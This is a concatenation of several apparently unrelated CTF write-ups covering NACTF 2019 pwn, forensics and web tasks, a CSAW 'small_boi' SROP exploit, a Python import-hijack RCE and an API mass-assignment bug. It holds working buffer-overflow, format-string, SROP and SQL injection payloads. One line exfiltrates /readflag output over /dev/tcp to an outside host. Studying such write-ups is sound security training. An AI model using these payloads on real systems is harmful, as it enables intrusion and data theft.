#### File- [Cell.jar](Files/cellular2/Cell.jar)- [inpattern.txt](Files/cellular2/inpattern.txt)- [example1.png](Files/cellular2/example1.png)- [example2.png](Files/cellular2/example2.png)
#### SolutionJust play like minesweeper! We will come to this:
#### Flag`nactf{conwayblco}`
***# [Binary Exploitation]***
## BufferOverflow #0 (100)
#### Description> The close cousin of a website for "Question marked as duplicate".Can you cause a segfault and get the flag?
> shell.2019.nactf.com:31475
#### Hint> What does it mean to overflow the buffer?
#### File- [bufover-0](Files/bufover-0)- [bufover-0.c](Files/bufover-0.c)
#### SolutionWe have BOF here:```cgets(buf);```Our target is to call function **win()**. We have a call to **signal()**, it will call **win()** whenever SIGSEGV error occurs.```csignal(SIGSEGV, win);```So, we just need to send a long input to cause SIGSEGV```bash$ python -c "print 'A'*100" | nc shell.2019.nactf.com 31475Type something>You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!You win!flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}```
#### Flag`nactf{0v3rfl0w_th4at_buff3r_18ghKusB}`
***
## BufferOverflow #1 (200)
#### Description> The close cousin of a website for "Question marked as duplicate" - part 2!Can you redirect code execution and get the flag?
> Connect at shell.2019.nactf.com:31462
#### Hint> pwntools can help you with crafting payloads
#### File- [bufover-1](Files/bufover-1)- [bufover-1.c](Files/bufover-1.c)
#### SolutionNow we have to overwrite the **return address** of func **vuln()** into the address of func **win()**. So after func **vuln()** finish, it will return to func **win()** and we got flag.
I use **radare2** to find the address of func **win()**. That is **0x080491b2**.
Variable `buf` in **vuln()** is at `ebp-0x18`. So, return address will be at offset `0x18 + 4` (4 bytes for Saved BP) from `buf`.
Finally, we got payload like this:
```bash$ python -c "print 'A'*0x18 + 'B'*4 + '\xb2\x91\x04\x08'" | nc shell.2019.nactf.com 31462Type something>You typed AAAAAAAAAAAAAAAAAAAAAAAABBBB�!You win!flag: nactf{pwn_31p_0n_r3t_iNylg281}```
#### Flag`nactf{pwn_31p_0n_r3t_iNylg281}`
***
## BufferOverflow #2 (200)
#### Description> The close cousin of a website for "Question marked as duplicate" - part 3!Can you control the arguments to win() and get the flag?
> Connect at shell.2019.nactf.com:31184
#### Hint> How are arguments passed to a function?
#### File- [bufover-2](Files/bufover-2)- [bufover-2.c](Files/bufover-2.c)
#### SolutionAgain, we also need to overwrite the **return address** of func **vuln()** into the address of func **win()**.
But the tricky is we have to pass 2 arguments to func **win()**. We do it like so:```bash$ python -c "print 'A'*0x18 + 'B'*4 + '\xc2\x91\x04\x08' + 'C'*4 + '\x55\xda\xb4\x14' + '\xbe\xb4\x0d\xf0'" | nc shell.2019.nactf.com 31184�!pe something>You typed AAAAAAAAAAAAAAAAAAAAAAAABBBCCCCUڴ��Close, but not quite.
```You will see that it's not work. Because of this:```cvoid win(long long arg1, int arg2)```arg1 is of *long long* type. So we have to change the payload a litte.```bash$ python -c "print 'A'*0x18 + 'B'*4 + '\xc2\x91\x04\x08' + 'C'*4 + '\x55\xda\xb4\x14' + '\x00'*4 + '\xbe\xb4\x0d\xf0'" | nc shell.2019.nactf.com 31184Type something>You typed AAAAAAAAAAAAAAAAAAAAAAAABBBCCCCUڴ!You win!flag: nactf{PwN_th3_4rG5_T0o_Ky3v7Ddg}
```
#### Flag`nactf{PwN_th3_4rG5_T0o_Ky3v7Ddg}`
***
## Format #0 (200)
#### Description> Someone didn't tell Chaddha not to give user input as the first argument to printf() - use it to leak the flag!
> Connect at shell.2019.nactf.com:31782
#### Hint> Note the f in printf
#### File- [format-0](Files/format-0)- [format-0.c](Files/format-0.c)
#### SolutionWe have **Format string** here:```cprintf(buf);```And flag is in argument of func **vuln()**. So we use format string to leak the flag.
We just need to know the offset of **flag** from **buf**. We can brute force it:```bash$ echo "%23\$s" | nc shell.2019.nactf.com 31782Type something>You typed: ���
$ echo "%24\$s" | nc shell.2019.nactf.com 31782Type something>You typed: nactf{Pr1ntF_L34k_m3m0ry_r34d_nM05f469}```
#### Flag`nactf{Pr1ntF_L34k_m3m0ry_r34d_nM05f469}`
***
## Format #1 (250)
#### Description> printf can do more than just read memory... can you change the variable?
> Connect at nc shell.2019.nactf.com 31560
#### Hint> Check a list of printf conversion specifiers
#### File- [format-1](Files/format-1)- [format-1.c](Files/format-1.c)
#### SolutionThis time, we need to overwrite **num** into **42**. We do it by using "%n".
We just need to know the offset of **num** from **buf**. Alse, we can brute force it:```bash$ python -c "print 'A'*42 + '%23\$n'" | nc shell.2019.nactf.com 31560Type something>You typed:
$ python -c "print 'A'*42 + '%24\$n'" | nc s4ell.2019.nactf.com 31560Type something>You typed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYou win!nactf{Pr1ntF_wr1t3s_t0o_rZFCUmba}```
#### Flag`nactf{Pr1ntF_wr1t3s_t0o_rZFCUmba}`
***# Forensics***
## Least Significant Avenger (50)
#### Description> I hate to say it but I think that Hawkeye is probably the Least Significant avenger. Can you find the flag hidden in this picture?
#### Hint> Hiding messages in pictures is called stenography. I wonder what the least significant type of stenography is.
#### File- [insignificant_hawkeye.png](Images/insignificant_hawkeye.png)
#### SolutionUsing [tool](https://stylesuxx.github.io/steganography/) to decode.
#### Flag`nactf{h4wk3y3_15_th3_l34st_51gn1f1c4nt_b1t}`
***
## The MetaMeme (75)
#### Description> Phil sent me this meme and its a little but suspicious. The meme is super meta and it may be even more meta than you think.Wouldn't it be really cool if it also had a flag hidden somewhere in it? Well you are in luck because it certainly does!
#### Hint> Hmm how can find some Meta info about a file type?Google is your friend :)
#### File- [metametametameta.pdf](Files/metametametameta.pdf)
#### Solution```bashstrings metametametameta.pdf | grep nactf```
#### Flag`nactf{d4mn_th15_1s_s0_m3t4}`
***
## Unzip Me (150)
#### Description> I stole these files off of The20thDucks' computer, but it seems he was smart enough to put a password on them. Can you unzip them for me?
#### Hint> There are many tools that can crack zip files for you
> All the passwords are real words and all lowercase
#### File- [zip1.zip](Files/unzipme/zip1.zip)- [zip2.zip](Files/unzipme/zip2.zip)- [zip3.zip](Files/unzipme/zip3.zip)
#### Solution```bashfcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' zip1.zipfcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' zip2.zipfcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' zip3.zip```
#### Flag`nactf{dicnionaryrockdog}`
***
## Kellen's Broken File (150)
#### Description> Kellen gave in to the temptation and started playing World of Tanks again. He turned the graphics up so high that something broke on his computer!Kellen is going to lose his HEAD if he can't open this file. Please help him fix this broken file.
#### Hint> A hex editor might be useful
#### File- [Kellens_broken_file.pdf](Files/Kellens_broken_file.pdf)
#### Solutionjust open the file.
#### Flag`nactf{kn0w_y0ur_f1l3_h34d3rsjeklwf}`
***
## Kellen's PDF sandwich (150)
#### Description> Kellen was playing some more World of Tanks....He played so much WOT that he worked up an appetite.Kellen ripped a PDF in half. He then treated these two halves as bread and placed a different PDF on the inside (yummy PDF meat!). That sounds like one good PDF sandwich. PDF on the outside and inside! YUM!
#### Hint> You are going to have to find a way to remove the PDF from inside the other PDF file.
#### File- [MeltedFile.pdf](Files/kellen-sandwich/MeltedFile.pdf)
#### SolutionOpen pdf file to get 1st part of flag.Then run `foremost MeltedFile.pdf`, we will extract an other pdf file, containing the 2nd part of flag.
#### Flag`nactf{w3_l0v3_w0rld_0f_t4nk5ejwjfae}`
***
## Filesystem Image (200)
#### Description> Put the path to flag.txt together to get the flag! for example, if it was located at ab/cd/ef/gh/ij/flag.txt, your flag would be nactf{abcdefghij}
#### Hint> Check out loop devices on Linux
#### File- [fsimage.iso.gz](Files/filesystem/fsimage.iso.gz)
#### SolutionExtract to file fsimage.iso. Right click *Open With Disk Image Mounter*.Go to the mounted folder. Run```bashfind -name 'flag.txt'```
#### Flag`nactf{lqwkzopyhu}`
***
## Phuzzy Photo (250)
#### Description> Joyce's friend just sent her this photo, but it's really fuzzy. She has no idea what the message says but she thinks she can make out some black text in the middle. She gave the photo to Oligar, but even his super eyes couldn't read the text. Maybe you can write some code to find the message?Also, you might have to look at your screen from an angle to see the blurry hidden textP.S. Joyce's friend said that part of the message is hidden in every 6th pixel
#### File- [The_phuzzy_photo.png](Files/The_phuzzy_photo.png)
#### Solution```pythonfrom PIL import Image
im = Image.open('../Files/The_phuzzy_photo.png')im2 = Image.new('RGB', (300, 300))im2.putdata(list(im.getdata())[::6])im2.show()```
#### Flag`nactf{u22y_boy5_un1t3}`
***
## File recovery (300)
#### Description> JUh oh! Lillian has accidentally deleted everything on her flash drive! Here's an image of the drive; find the PNG and get the flag.
#### Hint> Although the file entry is gone from the filesystem, its contents are still on disk
> If only there were tools to find file signatures...
#### File- [filerecovery.iso.gz](Files/filerecovery/filerecovery.iso.gz)
#### Solution```bashforemost filerecovery.iso```Go and get flag
#### Flag`nactf{f1l3_r3c0v3ry_15_c0ol}`
***# Web Exploitation***
## Pink Panther (50)
#### Description> Rahul loves the Pink Panther. He even made this website:http://pinkpanther.web.2019.nactf.com. I think he hid a message somewhere on the webpage, but I don't know where... can you INSPECT and find the message?https://www.youtube.com/watch?v=2HMSnfeNf8c
#### Hint> This might be slightly more difficult on some browsers than on others. Chrome works well.
#### SolutionJust view source, you will see **Flag**
#### Flag`nactf{1nsp3ct_b3tter_7han_c10us3au}`
***
## Scooby Doo (100)
#### Description> Kira loves to watch Scooby Doo so much that she made a website about it! She also added a clicker game which looks impossible. Can you use your inspector skills from Pink Panther to reveal the flag?
> http://scoobydoo.web.2019.nactf.com
#### SolutionView-source:```html<div id="flagContainer"> ... </div>```To get flag, we need to change the opacity of `` tags to **1**
#### Flag`nactf{ult1m4T3_sh4ggY}`
***
## Dexter's Lab (125)
#### Description> Dee Dee,Please check in on your brother's lab at http://dexterslab.web.2019.nactf.com We know his username is Dexter, but we don't know his password! Maybe you can use a SQL injection?Mom + Dad
#### SolutionUse a basic SQL Injection `' or 1=1#` and we got **flag**.
#### Flag`nactf{1nj3c7ion5_ar3_saf3_in_th3_l4b}`
***
## Sesame Street (125)
#### Description> Surprisingly, The20thDuck loves cookies! He also has no idea how to use php. He accidentally messed up a cookie so it's only available on the countdown page... Also why use cookies in the first place?
> http://sesamestreet.web.2019.nactf.com
#### Hint> The20thDuck's web development skills are not on the right PATH...
#### SolutionGo to http://sesamestreet.web.2019.nactf.com/countdown.php.Edit cookie `session-time`, change the `Path` to `flag.php`, change the `value` to a large number such as `2568986265`. Finally, go to http://sesamestreet.web.2019.nactf.com/flag.php, we will got **flag**
#### Flag`nactf{c000000000ki3s}`
******Hope you enjoy the game*** |
This is the official writeup by the challenge authors for the challenge **Fresh from the Oven**.
**Authors**: [Sh4d0w](https://twitter.com/__Sh4d0w__) & [g4rud4](https://twitter.com/NihithNihi)
Link to write-up at **team bi0s's** blog: [bi0s-blog](https://blog.bi0s.in/2019/10/03/Forensics/InCTFi19-FreshFromTheOven/) |
We are given a PHP interpreter, along with the ability to run arbitrary PHP by sending a POST with a parameter `rce` which would be `eval`d. All interesting (aka useful) functions are disabled (eg: `shell_exec`, `popen`, etc.) using a properly blacklisted `disable_functions` in `disable.ini`. We _are_ given a `Dockerfile` to run a copy of the remote service, so that is nice!
There is a `flag` file, as well as a `readflag` file, which means we need to go from PHP-RCE to actual machine-code-RCE, and then run `/readflag`.
**Full Writeup:** [https://github.com/pwning/public-writeup/blob/master/rwctf2019/pwn_MoP](https://github.com/pwning/public-writeup/blob/master/rwctf2019/pwn_MoP) |
# Csaw 2019 Smallboi
Let's take a look at the binary:
```$ file small_boismall_boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=070f96f86ab197c06c4a6896c26254cce3d57650, stripped$ pwn checksec small_boi[*] '/Hackery/pod/modules/16-srop/csaw19_smallboi/small_boi' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)$ ./small_boi15935728```
So we can see that we are dealing with a `64` bit binary, with `NX`. When we run the binary, it prompts us for input.
## Reversing
So when we look at the binary in Ghidra, we see some interesting assembly:
``` // // .text // SHT_PROGBITS [0x40017c - 0x4001c9] // ram: 0040017c-004001c9 // ************************************************************** * FUNCTION * ************************************************************** undefined FUN_0040017c() undefined AL:1 <RETURN> FUN_0040017c XREF[3]: 004001e0, 00400218(*), _elfSectionHeaders::00000090(*) 0040017c 55 PUSH RBP 0040017d 48 89 e5 MOV RBP,RSP 00400180 b8 0f 00 MOV EAX,0xf 00 00 00400185 0f 05 SYSCALL 00400187 90 NOP 00400188 5d POP RBP 00400189 c3 RET 0040018a 58 ?? 58h X 0040018b c3 ?? C3h ************************************************************** * FUNCTION * ************************************************************** undefined FUN_0040018c() undefined AL:1 <RETURN> undefined1 Stack[-0x28]:1 local_28 XREF[1]: 00400190(*) FUN_0040018c XREF[3]: entry:004001b6(c), 004001e8, 00400238(*) 0040018c 55 PUSH RBP 0040018d 48 89 e5 MOV RBP,RSP 00400190 48 8d 45 e0 LEA RAX=>local_28,[RBP + -0x20] 00400194 48 89 c6 MOV RSI,RAX 00400197 48 31 c0 XOR RAX,RAX 0040019a 48 31 ff XOR RDI,RDI 0040019d 48 c7 c2 MOV RDX,0x200 00 02 00 00 004001a4 0f 05 SYSCALL 004001a6 b8 00 00 MOV EAX,0x0 00 00 004001ab 5d POP RBP 004001ac c3 RET ************************************************************** * FUNCTION * ************************************************************** undefined entry() undefined AL:1 <RETURN> entry XREF[4]: Entry Point(*), 00400018(*), 004001f0, 00400258(*) 004001ad 55 PUSH RBP 004001ae 48 89 e5 MOV RBP,RSP 004001b1 b8 00 00 MOV EAX,0x0 00 00 004001b6 e8 d1 ff CALL FUN_0040018c undefined FUN_0040018c() ff ff 004001bb 48 31 f8 XOR RAX,RDI 004001be 48 c7 c0 MOV RAX,0x3c 3c 00 00 00 004001c5 0f 05 SYSCALL 004001c7 90 NOP 004001c8 5d POP RBP 004001c9 c3 RET // // .rodata // SHT_PROGBITS [0x4001ca - 0x4001d1] // ram: 004001ca-004001d1 // s_/bin/sh_004001ca XREF[1]: _elfSectionHeaders::000000d0(*) 004001ca 2f 62 69 ds "/bin/sh" 6e 2f 73 68 00```
So we see a small amount of assembly instructions. We see that it starts at `0x4001ad`, which it then calls the `0x40018c` function. We see that that code there will make a read syscall, which will scan in `0x200` bytes worth of data. Looking at the layout of the stack (or just checking out the memory in gdb), we see that after `0x28` bytes of input from that read syscall we overwrite the return address. So we have a buffer overflow.
## Exploitation
So we can get code execution. The problem now is what code will we execute? The binary has very little instructions with it, and isn't linked with libc:
```gef➤ vmmapStart End Offset Perm Path0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /Hackery/pod/modules/16-srop/csaw19_smallboi/small_boi0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /Hackery/pod/modules/16-srop/csaw19_smallboi/small_boi0x00007ffff7ffb000 0x00007ffff7ffe000 0x0000000000000000 r-- [vvar]0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]```
In addition to that, the Stack is not executable. However there is a function that will help us:
``` // // .text // SHT_PROGBITS [0x40017c - 0x4001c9] // ram: 0040017c-004001c9 // ************************************************************** * FUNCTION * ************************************************************** undefined FUN_0040017c() undefined AL:1 <RETURN> FUN_0040017c XREF[3]: 004001e0, 00400218(*), _elfSectionHeaders::00000090(*) 0040017c 55 PUSH RBP 0040017d 48 89 e5 MOV RBP,RSP 00400180 b8 0f 00 MOV EAX,0xf 00 00 00400185 0f 05 SYSCALL 00400187 90 NOP 00400188 5d POP RBP 00400189 c3 RET 0040018a 58 ?? 58h X 0040018b c3 ?? C3h```
This will make a sigreturn call, where the input is what is on the stack. What we can do is call this function, and provide a sigreturn frame as the input. This will allow us to perform an SROP attack. When we do this, the stack will shift by `0x8` bytes so we will need to account for that in our exploit.
Now for the SROP attack, we will make a syscall to `execve("/bin/sh", NULL, NULL)`. Luckily for us, the string `/bin/sh` is in the binary at `0x4001ca`:
``` // // .rodata // SHT_PROGBITS [0x4001ca - 0x4001d1] // ram: 004001ca-004001d1 // s_/bin/sh_004001ca XREF[1]: _elfSectionHeaders::000000d0(*) 004001ca 2f 62 69 ds "/bin/sh" 6e 2f 73 68 00```
That is everything we need to write the exploit.
## Exploit
Putting it all together, we have the following exploit:
```from pwn import *
# Establish the targettarget = process("./small_boi")#gdb.attach(target, gdbscript = 'b *0x40017c')#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecturecontext.arch = "amd64"
# Establish the address of the sigreturn functionsigreturn = p64(0x40017c)
# Start making our sigreturn frameframe = SigreturnFrame()
frame.rip = 0x400185 # Syscall instructionframe.rax = 59 # execve syscallframe.rdi = 0x4001ca # Address of "/bin/sh"frame.rsi = 0x0 # NULLframe.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return addresspayload += sigreturn # Function with sigreturnpayload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shelltarget.interactive()```
When we run it:
```$ python exploit.py[+] Starting local process './small_boi': pid 3434[*] Switching to interactive mode$ w 21:17:05 up 16 min, 1 user, load average: 0.12, 0.19, 0.28USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATguyinatu :0 :0 21:00 ?xdm? 51.68s 0.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu$ lsexploit.py readme.md small_boi$ ``` |
## Challenge Information
- Name: Images and Words- Type: Web + Misc- Description:
```BGM: [Dream Theater - Images and Words](https://www.youtube.com/watch?v=MkLIJw-fOIQ&list=PL8ANB2FxMC6WnDQDe_MS-OioyR5GEgEvC)```
- Files provided: All the files under `docker/zeus/app_scaffold/`- Solves: 0 / 720
## Build
```docker-compose builddocker-compose up
# attach bash for debuggingdocker psdocker exec -it <CONTAINER ID> bash```
## Writeup
This web application will render a text file to a PNG image using [pypng](https://github.com/drj11/pypng) library. The user can upload a text file under directory `png`.
The key is to identify the package name `png` happens to be the same as the upload directory name. Therefore, if the directory `png` exists, `import png` will not import the module `pypng`, but `png` in current working directory.
Thus, we can upload the python file named `__init__.py`:
```python__import__('os').system('bash -c "/readflag>/dev/tcp/bookgin.tw/80"')```
However, because the web server is using Gunicorn. Gunicorn uses pre-fork worker model to launch workers. The pypng module has already been loaded. Unless we manually reload it or restart the python process, it will not import the file under `png` in current work directory.
In fact, Gunicorn will monitor its worker processes. If the worker is not responsive or stuck somehow, by default [it will await 30 seconds](http://docs.gunicorn.org/en/stable/settings.html#timeout) and then restart the worker. You can notice the process id here is different.
```[2019-10-07 12:36:04 +0800] [23271] [INFO] Starting gunicorn 19.9.0[2019-10-07 12:36:04 +0800] [23271] [INFO] Listening at: http://127.0.0.1:8080 (23271)[2019-10-07 12:36:04 +0800] [23271] [INFO] Using worker: uvicorn.workers.UvicornWorker[2019-10-07 12:36:04 +0800] [23274] [INFO] Booting worker with pid: 23274[2019-10-07 12:36:04 +0800] [23274] [INFO] Started server process [23274][2019-10-07 12:36:04 +0800] [23274] [INFO] Waiting for application startup.[2019-10-07 12:37:05 +0800] [23271] [CRITICAL] WORKER TIMEOUT (pid:23274)[2019-10-07 12:37:06 +0800] [23825] [INFO] Booting worker with pid: 23825[2019-10-07 12:37:06 +0800] [23825] [INFO] Started server process [23825][2019-10-07 12:37:06 +0800] [23825] [INFO] Waiting for application startup.```
Hence we have to find an approach to make the server stuck for more than 30 seconds. The server source code strictly truncates the filename and file content. Nginx also has also been set a limitation 1M for the uploaded file size. It's too difficult to upload a huge file to make the server stuck. However, in this function:
```pythondef sanitize_filename(dangerous_filename): print(len(dangerous_filename)) res = re.match(r'^[\.a-zA-Z0-9_-]([\.a-zA-Z0-9_-]+)*$', dangerous_filename) safe_filename = secrets.token_urlsafe(32)[:32] if res is None else dangerous_filename return safe_filename```
The regular expression is vulnerable to [ReDoS](https://en.wikipedia.org/wiki/ReDoS). If we have a file named `aaaaaaaaaaaaaaaaaaaaaa!`, the regular expression will backtrack for a large number of matches. You could try this payload in [regex101](https://regex101.com/r/61PZxD/2). By exploiting this we can make Gunicorn restart the worker process and load our malicious `png/__init__.py`.
One more thing: the server will remove the uploaded text file.
```pythondef render(filename): src = config.UPLOAD_DIR / filename with open(src, 'r') as f: text = f.read() src.unlink() dst = config.UPLOAD_DIR / (filename + '.png') with open(dst, 'wb') as f: text2image.render(text, f)```
To exploit, we can upload a non-UTF-8 Python file with [explicit declaration of encoding](https://www.python.org/dev/peps/pep-0263/#id8). Because this line `with open(src, 'r') as f:` does not specify the encoding, it will fail to decode as UTF-8 and throw an exception. Thus the file will not be deleted. Race condition should also work here but it's less stable. The full exploit is in the `exploit` directory.
## Postscript
One day I was writing some Python code, and the directory name happened to conflict with a package name. Then I came out with this idea. For the Gunicorn part, I just need some execution which will take a long time. ReDoS (in fact I heard this on a USENIX conference) quickly flashed through my mind.
Although some techniques seem less useful regarding exploitation, sometimes it becomes a very important part in the RCE chain.
I hope this is a not-so-crafted challenge and hope you enjoy it! |
# notifyXapi
### Challenge
- **Category**: Web
Reynholm Industries needed a system to issue notifications/messages for their employees. Maurice Moss, coding genius of The IT crowd, was assigned with the task to create one. The basic idea was that upper-level employees can create and view all the notifications. The lower-level employees shouldn't be able to read the confidential upper-level only notifications. Is Maurice really a coding genius ?
Challenge link: <https://notifyxapi.rootersctf.in/>

### Solution
When I entered in the web application i saw three api methods:
1. Register
```bash $ curl -X POST "https://notifyxapi.rootersctf.in/api/v1/register/" -H "Content-Type: application/json" \ -d '{"email": "[email protected]", "password": "password"}' ```
2. Login
```bash $ curl -X POST "https://notifyxapi.rootersctf.in/api/v1/login/" -H "Content-Type: application/json" \ -d '{"email": "[email protected]", "password": "password"}' ```
3. Creating Notifications
```bash $ export ACCESS="j.w.t" $ curl -H "Authorization: Bearer $ACCESS" -H "Content-Type: application/json" "https://notifyxapi.rootersctf.in/api/v1/notifications/" ```
When I registered a user I realized that in the response of the request there was a parameter called "**is_admin**" with value **false**.
```bash$ curl -X POST "https://notifyxapi.rootersctf.in/api/v1/register/" -H "Content-Type: application/json" -d '{"email": "[email protected]", "password": "password"}'
{"created_user":{"id":331,"user":{"email":"[email protected]","is_admin":false,"id":331},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA4MzA1MTksIm5iZiI6MTU3MDgzMDUxOSwianRpIjoiMmZhYjViZDUtNDU2MC00NzQ2LWFiMTItN2FhM2I4NTk3ZmJjIiwiZXhwIjoxNjAyMzY2NTE5LCJpZGVudGl0eSI6MzMxLCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.pOtqBY4g-aaQh4VNbUH5T_hakpXCuJHefDI4jYKQsNY"}}
```
So i decided to create a new user and add in the request the parameter "**is_admin**" with value **true**.
The new user has administrator privileges so we can see the notifications of all users and therefore the flag.
```bash$ curl -X POST "https://notifyxapi.rootersctf.in/api/v1/login/" -H "Content-Type: application/json" -d '{"email": "[email protected]", "password": "password", "is_admin":true}'
{"created_user":{"id":363,"user":{"email":"[email protected]","is_admin":true,"id":363},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA4NzA5MDYsIm5iZiI6MTU3MDg3MDkwNiwianRpIjoiMGExOTA3MTktMTU2Yi00NzA2LWIwODEtMmE2Y2Q1YTFlY2ZmIiwiZXhwIjoxNjAyNDA2OTA2LCJpZGVudGl0eSI6MzYzLCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.zl8IJgILpDn2Z-kBUXsr2hk6qxoCpk-xbpqYNyz7JKs"}}
```
To retrieve the flag you only need to request the notifications with the new admin user token.
```bash$ export ACCESS=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA4NzA5MDYsIm5iZiI6MTU3MDg3MDkwNiwianRpIjoiMGExOTA3MTktMTU2Yi00NzA2LWIwODEtMmE2Y2Q1YTFlY2ZmIiwiZXhwIjoxNjAyNDA2OTA2LCJpZGVudGl0eSI6MzYzLCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.zl8IJgILpDn2Z-kBUXsr2hk6qxoCpk-xbpqYNyz7JKs
$ curl -H "Authorization: Bearer $ACCESS" -H "Content-Type: application/json" "https://notifyxapi.rootersctf.in/api/v1/notifications/"
[{"body":"rooters{a_big_hard_business_in_a_big_hard_building}ctf","issuer":{"email":"[email protected]","id":1},"id":1,"title":"flag"},{"body":"hey, rosssssss","issuer":{"email":"[email protected]","id":2},"id":2,"title":"The IT Crowd"},{"body":"Jen Barber? Is that the internet?","issuer":{"email":"[email protected]","id":2},"id":3,"title":"The IT Crowd"},{"body":"hey, rosssssss","issuer":{"email":"[email protected]","id":14},"id":4,"title":"The IT Crowd"},{"body":"hey, rosssssss","issuer":{"email":"[email protected]","id":14},"id":5,"title":"The IT Crowd"},{"body":"hey, rosssssss","issuer":{"email":"[email protected]","id":14},"id":6,"title":"The IT Crowd"},{"body":"hey, rosssssss","issuer":{"email":"[email protected]","id":14},"id":7,"title":"'"}]```
> Flag: rooters{a_big_hard_business_in_a_big_hard_building}ctf |
# Talk to me (100p) [ruby]
In this challenge, you're given the address and port to a telnet server. Connecting to it, you get a `Hello!` from the server. When you enter something back, it will either print an error, the message `I wish you would greet me the way I greeted you.` or `I can't understand you`. Experimenting a bit with the inputs, it looks like the code is doing something like `eval(input).match(...)`, except if it detects any letter it will not eval your input, but send the "I can't understand you". [This article](https://threeifbywhiskey.github.io/2014/03/05/non-alphanumeric-ruby-for-fun-and-not-much-else/) describes how you can write ruby code without letters, and since we are able to use the quote sign `'`, we can create strings with the shovel operator trick they describe. After many failed attempts at RCE, I realized that the program actually wanted me to write "Hello!" back. The solution then becomes `''<<72<<101<<108<<108<<111<<33`.
# Aesni (700p) [binary]Opening this binary in a disassembler only shows a single function, which seems to decrypt some code (using the AESENC instruction), then jumping to the decrypted code. Following the code in a debugger, we can see that this loop is actually running multiple times. It exits early if no arguments are given to the program, so we have to provide one. Simply single-stepping through the code, I see that the string `ThIs-iS-fInE` is loaded into a register and used in a comparison. If we give this as a param, the flag is returned.
```root@2f4b836ef375:/ctf/work# ./aesni ThIs-iS-fInEflag-cdce7e89a7607239```
# Decode me (150p) [snake oil]We're given a .pyc file (Python bytecode) and an "encoded" PNG file. The pyc file is easily reversed with uncompyle6 and looks like this:
```pythonimport base64, string, sysfrom random import shuffle
def encode(f, inp): s = string.printable init = lambda : (list(s), []) bag, buf = init() for x in inp: if x not in s: continue while True: r = bag[0] bag.remove(r) diff = (ord(x) - ord(r) + len(s)) % len(s) if diff == 0 or len(bag) == 0: shuffle(buf) f.write(('').join(buf)) f.write('\x00') bag, buf = init() shuffle(bag) else: break
buf.extend(r * (diff - 1)) f.write(r)
shuffle(buf) f.write(('').join(buf))
if __name__ == '__main__': with open(sys.argv[1], 'rb') as (r): w = open(sys.argv[1] + '.enc', 'wb') b64 = base64.b64encode(r.read()) encode(w, b64)```
At first glance, this code looks impossible to reverse due to its heavy use of shuffle(), and the fact that it might terminate early if `diff == 0`, giving blocks that are uneven in length. But the algorithm here is actually fairly straight-forward; base64-encode the input, initialize a permutation of all the printable characters, and *remove* one by one character from the permutation. For each letter you remove, measure the distance to the current input byte, and add (diff-1) of the removed letter to a temporary buffer. That means that if the input was an 'a', and you removed a 'g' from the permutation list, it would add `ord('g')-ord('a')-1` of the letter "g" to the temprary buffer. Once the permutation list is empty, or you run into a situation where the removed letter matches the input, the entire temporary buffer is *shuffled*, then added to the output (followed by a null-byte).
To reverse this, we need to differentiate the removed letters from the temporary buffer in the output. These two form one "block", and there are multiple blocks delimited by a null-byte in the output. Since each letter is actually removed from the permutation when encoding, we can simply take one by one letter until we find a duplicate letter that we've seen before. This marks the divide between `bag` and `buf`. The rest is simply counting the number of occurences of each letter from `bag`, as this will tell us the difference we need to add/subtract to get the real input. Because of the modulo operation, there are some bytes that could be valid ascii both as +100 and -100, but we want the one where the solution lands inside the alphabet used for base64.
The final decoder looks like this:```pythonfrom string import printable
#PNG header b64 iVBORw0KGgb64alpha = map(ord, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=")
b64buf = ""data = open("decodeme.png.enc", "rb").read()
e_counter = 0ix = 0while ix < len(data): r_list = [] while data[ix] not in r_list: r_list.append(data[ix]) ix += 1 try: STOP = ix + data[ix:].index("\x00") except ValueError: STOP = len(data)
buf = data[ix:STOP] for r in r_list: if r == "\x00": continue diff = buf.count(r) + 1 x = (diff + ord(r)) & 0xFF if x not in b64alpha: if 0 > (x - len(printable)): x += len(printable) else: x -= len(printable) if x not in b64alpha: print(x, ix, STOP, len(data), (diff + ord(r))) assert False b64buf += chr(x)
ix = STOP + 1
with open("decodeme.png", "wb") as fd: fd.write(b64buf.decode('base-64'))```
# Inwasmble (200p) [web]
We've given a link to an HTML site, where we're greeted by this box:

At first glance, the code seems to contain nothing

but opening it in a text editor, reveals that it contains a ton of unicode letters that take up no space. The code actually looks like this:
